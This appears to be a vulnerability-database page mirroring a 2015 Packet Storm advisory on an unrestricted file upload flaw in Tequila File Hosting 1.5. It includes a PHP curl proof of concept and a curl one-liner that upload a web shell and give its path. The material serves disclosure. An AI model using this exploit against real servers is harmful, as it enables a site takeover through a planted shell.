Lucene search
K

Tequila File Hosting 1.5 Shell Upload

🗓️ 15 Dec 2015 00:00:00Reported by Ehsan HosseiniType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 25 Views

Tequila File Hosting 1.5 Shell Upload vulnerability. Vendor page at codecanyon, Version 1.

Code
`================================================================================  
Tequila File Hosting Unrestricted File Upload  
================================================================================  
# Vendor Homepage:  
http://codecanyon.net/item/tequila-file-hosting-script/7604312  
# Date: 16/12/2015  
# Software Link:  
http://ehsansec.ir/apps/Tequila_v1.5-File_Hosting_Script.rar  
# Author: Ashiyane Digital Security Team  
# Verion: 1.5  
# Contact: [email protected]  
# Source: http://ehsansec.ir/advisories/tequila-upload.txt  
================================================================================  
# Description:  
Tequila is a solid, safe, fast, simple and intuitive script which allows  
companies or individuals to upload, manage and share their files online. It  
is studied in every feature and was produced with attention to every  
detail.  
  
# PoC :  
First register in the site===>  
http://localhost/tequila/register.php  
  
Next using this exploit :  
  
<?php  
// page : upload.php  
$postData = array('folder' => '/username', 'file' => '@shell.php');  
$ch = curl_init();  
curl_setopt($ch, CURLOPT_URL, "http://localhost/tequila/upload.php");  
curl_setopt($ch, CURLOPT_POST, 1);  
curl_setopt($ch, CURLOPT_POSTFIELDS, $postData );  
$buf = curl_exec ($ch);  
curl_close($ch);  
unset($ch);  
echo $buf;  
?>  
  
or  
  
curl -i -F folder='/ehsann' -F [email protected]  
http://localhost/tequila/upload.php  
  
Sheller uploaded.  
  
Path of shell : http://localhost/tequila/files/username/shell.php  
  
================================================================================  
# Discovered By : Ehsan Hosseini (EhsanSec.ir)  
================================================================================  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation